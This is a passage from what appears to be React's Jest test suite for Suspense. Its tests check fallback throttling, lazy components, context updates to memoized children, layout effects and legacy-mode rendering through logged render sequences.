the shell to now render the child content.\n    // This should suspend.\n    React.startTransition(() => {\n      root.render(<Foo renderBar={true} />);\n    });\n\n    await waitForAll([\n      'Foo',\n      'Bar',\n      // A suspends\n      'Suspend! [A]',\n      // pre-warming\n      'B',\n      // end pre-warming\n      'Loading...',\n    ]);\n    expect(container.textContent).toEqual('');\n\n    await waitForAll([]);\n    expect(container.textContent).toEqual('');\n\n    resolveText('A');\n    await waitForAll(['Foo', 'Bar', 'A', 'B']);\n    expect(container.textContent).toEqual('AB');\n  });\n\n  it('suspends siblings and later recovers each independently', async () => {\n    const root = ReactDOMClient.createRoot(container);\n    // Render two sibling Suspense components\n    root.render(\n      <>\n        <Suspense fallback={<Text text=\"Loading A...\" />}>\n          <AsyncText text=\"A\" />\n        </Suspense>\n        <Suspense fallback={<Text text=\"Loading B...\" />}>\n          <AsyncText text=\"B\" />\n        </Suspense>\n      </>,\n    );\n\n    await waitForAll([\n      'Suspend! [A]',\n      'Loading A...',\n      'Suspend! [B]',\n      'Loading B...',\n      // pre-warming\n      'Suspend! [A]',\n      'Suspend! [B]',\n    ]);\n    expect(container.innerHTML).toEqual('Loading A...Loading B...');\n\n    // Resolve first Suspense's promise and switch back to the normal view. The\n    // second Suspense should still show the placeholder\n    await act(() => resolveText('A'));\n    assertLog([\n      'A',\n      ...(gate('alwaysThrottleRetries')\n        ? ['Suspend! [B]', 'Suspend! [B]']\n        : []),\n    ]);\n    expect(container.textContent).toEqual('ALoading B...');\n\n    // Resolve the second Suspense's promise resolves and switche back to the\n    // normal view\n    await act(() => resolveText('B'));\n    assertLog(['B']);\n    expect(container.textContent).toEqual('AB');\n  });\n\n  it('interrupts current render if promise resolves before current render phase', async () => {\n    let didResolve = false;\n    const listeners = [];\n\n    const thenable = {\n      then(resolve) {\n        if (!didResolve) {\n          listeners.push(resolve);\n        } else {\n          resolve();\n        }\n      },\n    };\n\n    function resolveThenable() {\n      didResolve = true;\n      listeners.forEach(l => l());\n    }\n\n    function Async() {\n      if (!didResolve) {\n        Scheduler.log('Suspend!');\n        throw thenable;\n      }\n      Scheduler.log('Async');\n      return 'Async';\n    }\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <>\n          <Suspense fallback={<Text text=\"Loading...\" />} />\n          <Text text=\"Initial\" />\n        </>,\n      );\n    });\n\n    assertLog(['Initial']);\n    expect(container.textContent).toEqual('Initial');\n\n    // The update will suspend.\n    React.startTransition(() => {\n      root.render(\n        <>\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <Async />\n          </Suspense>\n          <Text text=\"After Suspense\" />\n          <Text text=\"Sibling\" />\n        </>,\n      );\n    });\n\n    // Yield past the Suspense boundary but don't complete the last sibling.\n    await waitFor(['Suspend!', 'Loading...', 'After Suspense']);\n\n    // The promise resolves before the current render phase has completed\n    resolveThenable();\n    assertLog([]);\n    expect(container.textContent).toEqual('Initial');\n\n    // Start over from the root, instead of continuing.\n    await waitForAll([\n      // Async renders again *before* Sibling\n      'Async',\n      'After Suspense',\n      'Sibling',\n    ]);\n    expect(container.textContent).toEqual('AsyncAfter SuspenseSibling');\n  });\n\n  it('throttles fallback committing globally', async () => {\n    function Foo() {\n      Scheduler.log('Foo');\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <AsyncText text=\"A\" />\n          <Suspense fallback={<Text text=\"Loading more...\" />}>\n            <AsyncText text=\"B\" />\n          </Suspense>\n        </Suspense>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Foo />);\n    });\n\n    assertLog([\n      'Foo',\n      'Suspend! [A]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [A]',\n      'Suspend! [B]',\n      'Loading more...',\n    ]);\n    expect(container.textContent).toEqual('Loading...');\n\n    await resolveText('A');\n    await waitForAll(['A', 'Suspend! [B]', 'Loading more...']);\n\n    // By this point, we have enough info to show \"A\" and \"Loading more...\"\n    // However, we've just shown the outer fallback. So we'll delay\n    // showing the inner fallback hoping that B will resolve soon enough.\n    expect(container.textContent).toEqual('Loading...');\n\n    await act(() => resolveText('B'));\n    // By this point, B has resolved.\n    // The contents of both should pop in together.\n    assertLog(['A', 'B']);\n    expect(container.textContent).toEqual('AB');\n  });\n\n  it('pushes out siblings that render faster than throttle', async () => {\n    function Foo() {\n      Scheduler.log('Foo');\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <AsyncText text=\"A\" ms={290} />\n          <Suspense fallback={<Text text=\"Loading more...\" />}>\n            <AsyncText text=\"B\" ms={30} />\n          </Suspense>\n        </Suspense>\n      );\n    }\n\n    setTimeout(async () => {\n      // TODO: this is dumb, but AsyncText isn't timer based after the act changes.\n      // Pretend that this is the start of the sibling suspending.\n      // In a real test, the timer would start when we render B.\n      setTimeout(async () => {\n        resolveText('B');\n      }, 30);\n\n      resolveText('A');\n    }, 290);\n\n    // Render an empty shell\n    const root = ReactDOMClient.createRoot(container);\n    root.render(<Foo />);\n    await waitForAll([\n      'Foo',\n      'Suspend! [A]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [A]',\n      'Suspend! [B]',\n      'Loading more...',\n    ]);\n    expect(container.textContent).toEqual('Loading...');\n\n    // Now resolve A\n    jest.advanceTimersByTime(290);\n    await waitFor(['A']);\n    expect(container.textContent).toEqual('Loading...');\n\n    // B starts loading. Parent boundary is in throttle.\n    // Still shows parent loading under throttle\n    jest.advanceTimersByTime(10);\n    await waitForAll(['Suspend! [B]', 'Loading more...']);\n    expect(container.textContent).toEqual('Loading...');\n\n    // !! B could have finished before the throttle, but we show a fallback.\n    // !! Pushing out the 30ms fetch for B to 300ms.\n    jest.advanceTimersByTime(300);\n    await waitFor(['B']);\n    expect(container.textContent).toEqual('ALoading more...');\n\n    await act(() => {});\n    expect(container.textContent).toEqual('AB');\n  });\n\n  it('does not throttle fallback committing for too long', async () => {\n    function Foo() {\n      Scheduler.log('Foo');\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <AsyncText text=\"A\" />\n          <Suspense fallback={<Text text=\"Loading more...\" />}>\n            <AsyncText text=\"B\" />\n          </Suspense>\n        </Suspense>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Foo />);\n    });\n    assertLog([\n      'Foo',\n      'Suspend! [A]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [A]',\n      'Suspend! [B]',\n      'Loading more...',\n    ]);\n    expect(container.textContent).toEqual('Loading...');\n\n    await resolveText('A');\n    await waitForAll(['A', 'Suspend! [B]', 'Loading more...']);\n\n    // By this point, we have enough info to show \"A\" and \"Loading more...\"\n    // However, we've just shown the outer fallback. So we'll delay\n    // showing the inner fallback hoping that B will resolve soon enough.\n    expect(container.textContent).toEqual('Loading...');\n    // But if we wait a bit longer, eventually we'll give up and show a\n    // fallback. The exact value here isn't important. It's a JND (\"Just\n    // Noticeable Difference\").\n    jest.advanceTimersByTime(500);\n    expect(container.textContent).toEqual('ALoading more...');\n\n    await act(() => resolveText('B'));\n    assertLog(['B']);\n    expect(container.textContent).toEqual('AB');\n  });\n\n  // @gate !disableLegacyMode\n  it('mounts a lazy class component in non-concurrent mode (legacy)', async () => {\n    class Class extends React.Component {\n      componentDidMount() {\n        Scheduler.log('Did mount: ' + this.props.label);\n      }\n      componentDidUpdate() {\n        Scheduler.log('Did update: ' + this.props.label);\n      }\n      render() {\n        return <Text text={this.props.label} />;\n      }\n    }\n\n    async function fakeImport(result) {\n      return {default: result};\n    }\n\n    const LazyClass = React.lazy(() => fakeImport(Class));\n\n    ReactDOM.render(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <LazyClass label=\"Hi\" />\n      </Suspense>,\n      container,\n    );\n\n    assertLog(['Loading...']);\n    expect(container.textContent).toEqual('Loading...');\n\n    await LazyClass;\n\n    await waitForPaint(['Hi', 'Did mount: Hi']);\n    expect(container.textContent).toEqual('Hi');\n  });\n\n  it('updates memoized child of suspense component when context updates (simple memo)', async () => {\n    const {useContext, createContext, useState, memo} = React;\n\n    const ValueContext = createContext(null);\n\n    const MemoizedChild = memo(function MemoizedChild() {\n      const text = useContext(ValueContext);\n      return <Text text={readText(text)} />;\n    });\n\n    let setValue;\n    function App() {\n      const [value, _setValue] = useState('default');\n      setValue = _setValue;\n\n      return (\n        <ValueContext.Provider value={value}>\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <MemoizedChild />\n          </Suspense>\n        </ValueContext.Provider>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog([\n      'Suspend! [default]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [default]',\n    ]);\n\n    await act(() => resolveText('default'));\n    assertLog(['default']);\n    expect(container.textContent).toEqual('default');\n\n    await act(() => setValue('new value'));\n    assertLog([\n      'Suspend! [new value]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [new value]',\n    ]);\n\n    await act(() => resolveText('new value'));\n    assertLog(['new value']);\n    expect(container.textContent).toEqual('new value');\n  });\n\n  it('updates memoized child of suspense component when context updates (manual memo)', async () => {\n    const {useContext, createContext, useState, memo} = React;\n\n    const ValueContext = createContext(null);\n\n    const MemoizedChild = memo(\n      function MemoizedChild() {\n        const text = useContext(ValueContext);\n        return <Text text={readText(text)} />;\n      },\n      function areEqual(prevProps, nextProps) {\n        return true;\n      },\n    );\n\n    let setValue;\n    function App() {\n      const [value, _setValue] = useState('default');\n      setValue = _setValue;\n\n      return (\n        <ValueContext.Provider value={value}>\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <MemoizedChild />\n          </Suspense>\n        </ValueContext.Provider>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog([\n      'Suspend! [default]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [default]',\n    ]);\n\n    await act(() => resolveText('default'));\n    assertLog(['default']);\n    expect(container.textContent).toEqual('default');\n\n    await act(() => setValue('new value'));\n    assertLog([\n      'Suspend! [new value]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [new value]',\n    ]);\n\n    await act(() => resolveText('new value'));\n    assertLog(['new value']);\n    expect(container.textContent).toEqual('new value');\n  });\n\n  it('updates memoized child of suspense component when context updates (function)', async () => {\n    const {useContext, createContext, useState} = React;\n\n    const ValueContext = createContext(null);\n\n    function MemoizedChild() {\n      const text = useContext(ValueContext);\n      return <Text text={readText(text)} />;\n    }\n\n    let setValue;\n    function App({children}) {\n      const [value, _setValue] = useState('default');\n      setValue = _setValue;\n\n      return (\n        <ValueContext.Provider value={value}>{children}</ValueContext.Provider>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <App>\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <MemoizedChild />\n          </Suspense>\n        </App>,\n      );\n    });\n    assertLog([\n      'Suspend! [default]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [default]',\n    ]);\n\n    await act(() => resolveText('default'));\n    assertLog(['default']);\n    expect(container.textContent).toEqual('default');\n\n    await act(() => setValue('new value'));\n    assertLog([\n      'Suspend! [new value]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [new value]',\n    ]);\n\n    await act(() => resolveText('new value'));\n    assertLog(['new value']);\n    expect(container.textContent).toEqual('new value');\n  });\n\n  it('updates memoized child of suspense component when context updates (forwardRef)', async () => {\n    const {forwardRef, useContext, createContext, useState} = React;\n\n    const ValueContext = createContext(null);\n\n    const MemoizedChild = forwardRef(() => {\n      const text = useContext(ValueContext);\n      return <Text text={readText(text)} />;\n    });\n\n    let setValue;\n    function App({children}) {\n      const [value, _setValue] = useState('default');\n      setValue = _setValue;\n\n      return (\n        <ValueContext.Provider value={value}>{children}</ValueContext.Provider>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <App>\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <MemoizedChild />\n          </Suspense>\n        </App>,\n      );\n    });\n    assertLog([\n      'Suspend! [default]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [default]',\n    ]);\n\n    await act(() => resolveText('default'));\n    assertLog(['default']);\n    expect(container.textContent).toEqual('default');\n\n    await act(() => setValue('new value'));\n    assertLog([\n      'Suspend! [new value]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [new value]',\n    ]);\n\n    await act(() => resolveText('new value'));\n    assertLog(['new value']);\n    expect(container.textContent).toEqual('new value');\n  });\n\n  it('re-fires layout effects when re-showing Suspense', async () => {\n    function TextWithLayout(props) {\n      Scheduler.log(props.text);\n      React.useLayoutEffect(() => {\n        Scheduler.log('create layout');\n        return () => {\n          Scheduler.log('destroy layout');\n        };\n      }, []);\n      return props.text;\n    }\n\n    let _setShow;\n    function App(props) {\n      const [show, setShow] = React.useState(false);\n      _setShow = setShow;\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <TextWithLayout text=\"Child 1\" />\n          {show && <AsyncText text=\"Child 2\" />}\n        </Suspense>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App />);\n    });\n\n    assertLog(['Child 1', 'create layout']);\n    expect(container.textContent).toEqual('Child 1');\n\n    await act(() => {\n      _setShow(true);\n    });\n    assertLog([\n      'Child 1',\n      'Suspend! [Child 2]',\n      'Loading...',\n      'destroy layout',\n      // pre-warming\n      'Child 1',\n      'Suspend! [Child 2]',\n    ]);\n\n    await act(() => resolveText('Child 2'));\n    assertLog(['Child 1', 'Child 2', 'create layout']);\n    expect(container.textContent).toEqual(['Child 1', 'Child 2'].join(''));\n  });\n\n  it('does not get stuck with fallback in concurrent mode for a large delay', async () => {\n    function App(props) {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <AsyncText text=\"Child 1\" />\n          <AsyncText text=\"Child 2\" />\n        </Suspense>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App />);\n    });\n\n    assertLog([\n      'Suspend! [Child 1]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [Child 1]',\n      'Suspend! [Child 2]',\n    ]);\n    await resolveText('Child 1');\n    await waitForAll([\n      'Child 1',\n      'Suspend! [Child 2]',\n      ...(gate('alwaysThrottleRetries')\n        ? []\n        : ['Child 1', 'Suspend! [Child 2]']),\n    ]);\n\n    jest.advanceTimersByTime(6000);\n\n    await act(() => resolveText('Child 2'));\n    assertLog(['Child 1', 'Child 2']);\n    expect(container.textContent).toEqual(['Child 1', 'Child 2'].join(''));\n  });\n\n  describe('outside concurrent mode (legacy)', () => {\n    // @gate !disableLegacyMode\n    it('a mounted class component can suspend without losing state', async () => {\n      class TextWithLifecycle extends React.Component {\n        componentDidMount() {\n          Scheduler.log(`Mount [${this.props.text}]`);\n        }\n        componentDidUpdate() {\n          Scheduler.log(`Update [${this.props.text}]`);\n        }\n        componentWillUnmount() {\n          Scheduler.log(`Unmount [${this.props.text}]`);\n        }\n        render() {\n          return <Text {...this.props} />;\n        }\n      }\n\n      let instance;\n      class AsyncTextWithLifecycle extends React.Component {\n        state = {step: 1};\n        componentDidMount() {\n          Scheduler.log(`Mount [${this.props.text}:${this.state.step}]`);\n        }\n        componentDidUpdate() {\n          Scheduler.log(`Update [${this.props.text}:${this.state.step}]`);\n        }\n        componentWillUnmount() {\n          Scheduler.log(`Unmount [${this.props.text}:${this.state.step}]`);\n        }\n        render() {\n          instance = this;\n          const text = readText(`${this.props.text}:${this.state.step}`);\n          return <Text text={text} />;\n        }\n      }\n\n      function App() {\n        return (\n          <Suspense fallback={<TextWithLifecycle text=\"Loading...\" />}>\n            <TextWithLifecycle text=\"A\" />\n            <AsyncTextWithLifecycle text=\"B\" ref={instance} />\n            <TextWithLifecycle text=\"C\" />\n          </Suspense>\n        );\n      }\n\n      ReactDOM.render(<App />, container);\n      assertLog([\n        'A',\n        'Suspend! [B:1]',\n        'C',\n        'Loading...',\n\n        'Mount [A]',\n        // B's lifecycle should not fire because it suspended\n        // 'Mount [B]',\n        'Mount [C]',\n        'Mount [Loading...]',\n      ]);\n      expect(container.textContent).toEqual('Loading...');\n\n      await resolveText('B:1');\n      assertLog([\n        'B:1',\n        'Unmount [Loading...]',\n        // Should be a mount, not an update\n        'Mount [B:1]',\n      ]);\n      expect(container.textContent).toEqual('AB:1C');\n\n      instance.setState({step: 2});\n      assertLog(['Suspend! [B:2]', 'Loading...', 'Mount [Loading...]']);\n      expect(container.textContent).toEqual('Loading...');\n\n      await resolveText('B:2');\n      assertLog(['B:2', 'Unmount [Loading...]', 'Update [B:2]']);\n      expect(container.textContent).toEqual('AB:2C');\n    });\n\n    // @gate !disableLegacyMode\n    it('bails out on timed-out primary children even if they receive an update', async () => {\n      let instance;\n      class Stateful extends React.Component {\n        state = {step: 1};\n        render() {\n          instance = this;\n          return <Text text={`Stateful: ${this.state.step}`} />;\n        }\n      }\n\n      function App(props) {\n        return (\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <Stateful />\n            <AsyncText text={props.text} />\n          </Suspense>\n        );\n      }\n\n      ReactDOM.render(<App text=\"A\" />, container);\n\n      assertLog(['Stateful: 1', 'Suspend! [A]', 'Loading...']);\n\n      await resolveText('A');\n      assertLog(['A']);\n      expect(container.textContent).toEqual('Stateful: 1A');\n\n      ReactDOM.render(<App text=\"B\" />, container);\n      assertLog(['Stateful: 1', 'Suspend! [B]', 'Loading...']);\n      expect(container.textContent).toEqual('Loading...');\n\n      instance.setState({step: 2});\n      assertLog(['Stateful: 2', 'Suspend! [B]']);\n      expect(container.textContent).toEqual('Loading...');\n\n      await resolveText('B');\n      assertLog(['B']);\n      expect(container.textContent).toEqual('Stateful: 2B');\n    });\n\n    // @gate !disableLegacyMode\n    it('when updating a timed-out tree, always retries the suspended component', async () => {\n      let instance;\n      class Stateful extends React.Component {\n        state = {step: 1};\n        render() {\n          instance = this;\n          return <Text text={`Stateful: ${this.state.step}`} />;\n        }\n      }\n\n      const Indirection = React.Fragment;\n\n      function App(props) {\n        return (\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <Stateful />\n            <Indirection>\n              <Indirection>\n                <Indirection>\n                  <AsyncText text={props.text} />\n                </Indirection>\n              </Indirection>\n            </Indirection>\n          </Suspense>\n        );\n      }\n\n      ReactDOM.render(<App text=\"A\" />, container);\n\n      assertLog(['Stateful: 1', 'Suspend! [A]', 'Loading...']);\n\n      await resolveText('A');\n      assertLog(['A']);\n      expect(container.textContent).toEqual('Stateful: 1A');\n\n      ReactDOM.render(<App text=\"B\" />, container);\n      assertLog(['Stateful: 1', 'Suspend! [B]', 'Loading...']);\n      expect(container.textContent).toEqual('Loading...');\n\n      instance.setState({step: 2});\n      assertLog([\n        'Stateful: 2',\n\n        // The suspended component should suspend again. If it doesn't, the\n        // likely mistake is that the suspended fiber wasn't marked with\n        // pending work, so it was improperly treated as complete.\n        'Suspend! [B]',\n      ]);\n      expect(container.textContent).toEqual('Loading...');\n\n      await resolveText('B');\n      assertLog(['B']);\n      expect(container.textContent).toEqual('Stateful: 2B');\n    });\n\n    // @gate !disableLegacyMode\n    it('suspends in a class that has componentWillUnmount and is then deleted', async () => {\n      class AsyncTextWithUnmount extends React.Component {\n        componentWillUnmount() {\n          Scheduler.log('will unmount');\n        }\n        render() {\n          return <Text text={readText(this.props.text)} />;\n        }\n      }\n\n      function App({text}) {\n        return (\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <AsyncTextWithUnmount text={text} />\n          </Suspense>\n        );\n      }\n\n      ReactDOM.render(<App text=\"A\" />, container);\n      assertLog(['Suspend! [A]', 'Loading...']);\n      ReactDOM.render(<Text text=\"B\" />, container);\n      // Should not fire componentWillUnmount\n      assertLog(['B']);\n      expect(container.textContent).toEqual('B');\n    });\n\n    // @gate !disableLegacyMode\n    it('suspends in a component that also contains useEffect', async () => {\n      const {useLayoutEffect} = React;\n\n      function AsyncTextWithEffect(props) {\n        const text = props.text;\n\n        useLayoutEffect(() => {\n          Scheduler.log('Did commit: ' + text);\n        }, [text]);\n\n        return <Text text={readText(text)} />;\n      }\n\n      function App({text}) {\n        return (\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <AsyncTextWithEffect text={text} />\n          </Suspense>\n        );\n      }\n\n      ReactDOM.render(<App text=\"A\" />, container);\n      assertLog(['Suspend! [A]', 'Loading...']);\n      await resolveText('A');\n      assertLog(['A', 'Did commit: A']);\n    });\n\n    // @gate !disableLegacyMode\n    it('retries when an update is scheduled on a timed out tree', async () => {\n      let instance;\n      class Stateful extends React.Component {\n        state = {step: 1};\n        render() {\n          instance = this;\n          return <AsyncText text={`Step: ${this.state.step}`} />;\n        }\n      }\n\n      function App(props) {\n        return (\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <Stateful />\n          </Suspense>\n        );\n      }\n\n      ReactDOM.render(<App />, container);\n\n      // Initial render\n      assertLog(['Suspend! [Step: 1]', 'Loading...']);\n\n      await act(() => resolveText('Step: 1'));\n      assertLog(['Step: 1']);\n      expect(container.textContent).toEqual('Step: 1');\n\n      // Update that suspends\n      await act(() => {\n        instance.setState({step: 2});\n      });\n      assertLog(['Suspend! [Step: 2]', 'Loading...']);\n      expect(container.textContent).toEqual('Loading...');\n\n      // Update while still suspended\n      instance.setState({step: 3});\n      assertLog(['Suspend! [Step: 3]']);\n      expect(container.textContent).toEqual('Loading...');\n\n      await act(() => {\n        resolveText('Step: 2');\n        resolveText('Step: 3');\n      });\n      assertLog(['Step: 3']);\n      expect(container.textContent).toEqual('Step: 3');\n    });\n\n    // @gate !disableLegacyMode\n    it('does not remount the fallback while suspended children resolve in legacy mode', async () => {\n      let mounts = 0;\n      class ShouldMountOnce extends React.Component {\n        componentDidMount() {\n          mounts++;\n        }\n        render() {\n          return <Text text=\"Loading...\" />;\n        }\n      }\n\n      function App(props) {\n        return (\n          <Suspense fallback={<ShouldMountOnce />}>\n            <AsyncText text=\"Child 1\" />\n            <AsyncText text=\"Child 2\" />\n            <AsyncText text=\"Child 3\" />\n          </Suspense>\n        );\n      }\n\n      ReactDOM.render(<App />, container);\n\n      // Initial render\n      assertLog([\n        'Suspend! [Child 1]',\n        'Suspend! [Child 2]',\n        'Suspend! [Child 3]',\n        'Loading...',\n      ]);\n      await waitForAll([]);\n\n      await resolveText('Child 1');\n      assertLog(['Child 1', 'Suspend! [Child 2]', 'Suspend! [Child 3]']);\n\n      await resolveText('Child 2');\n      assertLog(['Child 2', 'Suspend! [Child 3]']);\n\n      await resolveText('Child 3');\n      assertLog(['Child 3']);\n      expect(container.textContent).toEqual(\n        ['Child 1', 'Child 2', 'Child 3'].join(''),\n      );\n      expect(mounts).toBe(1);\n    });\n\n    // @gate !disableLegacyMode\n    it('reuses effects, including deletions, from the suspended tree', async () => {\n      const {useState} = React;\n\n      let setTab;\n      function App() {\n        const [tab, _setTab] = useState(0);\n        setTab = _setTab;\n\n        return (\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <AsyncText key={tab} text={'Tab: ' + tab} />\n            <Text key={tab + 'sibling'} text=\" + sibling\" />\n          </Suspense>\n        );\n      }\n\n      ReactDOM.render(<App />, container);\n      assertLog(['Suspend! [Tab: 0]', ' + sibling', 'Loading...']);\n      expect(container.textContent).toEqual('Loading...');\n\n      await resolveText('Tab: 0');\n      assertLog(['Tab: 0']);\n      expect(container.textContent).toEqual('Tab: 0 + sibling');\n\n      await act(() => setTab(1));\n      assertLog(['Suspend! [Tab: 1]', ' + sibling', 'Loading...']);\n      expect(container.textContent).toEqual('Loading...');\n\n      await resolveText('Tab: 1');\n      assertLog(['Tab: 1']);\n      expect(container.textContent).toEqual('Tab: 1 + sibling');\n\n      await act(() => setTab(2));\n      assertLog(['Suspend! [Tab: 2]', ' + sibling', 'Loading...']);\n      expect(container.textContent).toEqual('Loading...');\n\n      await resolveText('Tab: 2');\n      assertLog(['Tab: 2']);\n      expect(container.textContent).toEqual('Tab: 2 + sibling');\n    });\n\n    // @gate !disableLegacyMode\n    it('does not warn if a mounted component is pinged', async () => {\n      const {useState} = React;\n\n      ReactDOM.render(null, container);\n\n      let setStep;\n      function UpdatingText({text, ms}) {\n        const [step, _setStep] = useState(0);\n        setStep = _setStep;\n        const fullText = `${text}:${step}`;\n        return <Text text={readText(fullText)} />;\n      }\n\n      ReactDOM.render(\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <UpdatingText text=\"A\" ms={1000} />\n        </Suspense>,\n        container,\n      );\n\n      assertLog(['Suspend! [A:0]', 'Loading...']);\n\n      await resolveText('A:0');\n      assertLog(['A:0']);\n      expect(container.textContent).toEqual('A:0');\n\n      await act(() => setStep(1));\n      assertLog(['Suspend! [A:1]', 'Loading...']);\n      expect(container.textContent).toEqual('Loading...');\n    });\n\n    // @gate !disableLegacyMode\n    it('memoizes promise listeners per thread ID to prevent redundant renders', async () => {\n      function App() {\n        return (\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <AsyncText text=\"A\" />\n            <AsyncText text=\"B\" />\n            <AsyncText text=\"C\" />\n          </Suspense>\n        );\n      }\n\n      ReactDOM.render(null, container);\n\n      ReactDOM.render(<App />, container);\n\n      assertLog(['Suspend! [A]', 'Suspend! [B]', 'Suspend! [C]', 'Loading...']);\n\n      await resolveText('A');\n      assertLog([\n        'A',\n        // The promises for B and C have now been thrown twice\n        'Suspend! [B]',\n        'Suspend! [C]',\n      ]);\n\n      await resolveText('B');\n      assertLog([\n        // Even though the promise for B was thrown twice, we should only\n        // re-render once.\n        'B',\n        // The promise for C has now been thrown three times\n        'Suspend! [C]',\n      ]);\n\n      await resolveText('C');\n      assertLog([\n        // Even though the promise for C was thrown three times, we should only\n        // re-render once.\n        'C',\n      ]);\n    });\n\n    // @gate !disableLegacyMode\n    it('#14162', async () => {\n      const {lazy} = React;\n\n      function Hello() {\n        return <span>hello</span>;\n      }\n\n      async function fetchComponent() {\n        return new Promise(r => {\n          // simulating a delayed import() call\n          setTimeout(r, 1000, {default: Hello});\n        });\n      }\n\n      const LazyHello = lazy(fetchComponent);\n\n      class App extends React.Component {\n        state = {render: false};\n\n        componentDidMount() {\n          setTimeout(() => this.setState({render: true}));\n        }\n\n        render() {\n          return (\n            <Suspense fallback={<span>loading...</span>}>\n              {this.state.render && <LazyHello />}\n            </Suspense>\n          );\n        }\n      }\n\n      ReactDOM.render(null, container);\n\n      ReactDOM.render(<App name=\"world\" />, container);\n    });\n\n    // @gate !disableLegacyMode\n    it('updates memoized child of suspense component when context updates (simple memo)', async () => {\n      const {useContext, createContext, useState, memo} = React;\n\n      const ValueContext = createContext(null);\n\n      const MemoizedChild = memo(function MemoizedChild() {\n        const text = useContext(ValueContext);\n        return <Text text={readText(text)} />;\n      });\n\n      let setValue;\n      function App() {\n        const [value, _setValue] = useState('default');\n        setValue = _setValue;\n\n        return (\n          <ValueContext.Provider value={value}>\n            <Suspense fallback={<Text text=\"Loading...\" />}>\n              <MemoizedChild />\n            </Suspense>\n          </ValueContext.Provider>\n        );\n      }\n\n      ReactDOM.render(<App />, container);\n      assertLog(['Suspend! [default]', 'Loading...']);\n\n      await resolveText('default');\n      assertLog(['default']);\n      expect(container.textContent).toEqual('default');\n\n      await act(() => setValue('new value'));\n      assertLog(['Suspend! [new value]', 'Loading...']);\n\n      await resolveText('new value');\n      assertLog(['new value']);\n      expect(container.textContent).toEqual('new value');\n    });\n\n    // @gate !disableLegacyMode\n    it('updates memoized child of suspense component when context updates (manual memo)', async () => {\n      const {useContext, createContext, useState, memo} = React;\n\n      const ValueContext = createContext(null);\n\n      const MemoizedChild = memo(\n        function MemoizedChild() {\n          const text = useContext(ValueContext);\n          return <Text text={readText(text)} />;\n        },\n        function areEqual(prevProps, nextProps) {\n          return true;\n        },\n      );\n\n      let setValue;\n      function App() {\n        const [value, _setValue] = useState('default');\n        setValue = _setValue;\n\n        return (\n          <ValueContext.Provider value={value}>\n            <Suspense fallback={<Text text=\"Loading...\" />}>\n              <MemoizedChild />\n            </Suspense>\n          </ValueContext.Provider>\n        );\n      }\n\n      ReactDOM.render(<App />, container);\n      assertLog(['Suspend! [default]', 'Loading...']);\n\n      await resolveText('default');\n      assertLog(['default']);\n      expect(container.textContent).toEqual('default');\n\n      await act(() => setValue('new value'));\n      assertLog(['Suspend! [new value]', 'Loading...']);\n\n      await resolveText('new value');\n      assertLog(['new value']);\n      expect(container.textContent).toEqual('new value');\n    });\n\n    // @gate !disableLegacyMode\n    it('updates memoized child of suspense component when context updates (function)', async () => {\n      const {useContext, createContext, useState} = React;\n\n      const ValueContext = createContext(null);\n\n      function MemoizedChild() {\n        const text = useContext(ValueContext);\n        return <Text text={readText(text)} />;\n      }\n\n      let setValue;\n      function App({children}) {\n        const [value, _setValue] = useState('default');\n        setValue = _setValue;\n\n        return (\n          <ValueContext.Provider value={value}>\n            {children}\n          </ValueContext.Provider>\n        );\n      }\n\n      ReactDOM.render(\n        <App>\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <MemoizedChild />\n          </Suspense>\n        </App>,\n        container,\n      );\n      assertLog(['Suspend! [default]', 'Loading...']);\n\n      await resolveText('default');\n      assertLog(['default']);\n      expect(container.textContent).toEqual('default');\n\n      await act(() => setValue('new value'));\n      assertLog(['Suspend! [new value]', 'Loading...']);\n\n      await resolveText('new value');\n      assertLog(['new value']);\n      expect(container.textContent).toEqual('new value');\n    });\n\n    // @gate !disableLegacyMode\n    it('updates memoized child of suspense component when context updates (forwardRef)', async () => {\n      const {forwardRef, useContext, createContext, useState} = React;\n\n      const ValueContext = createContext(null);\n\n      const MemoizedChild = 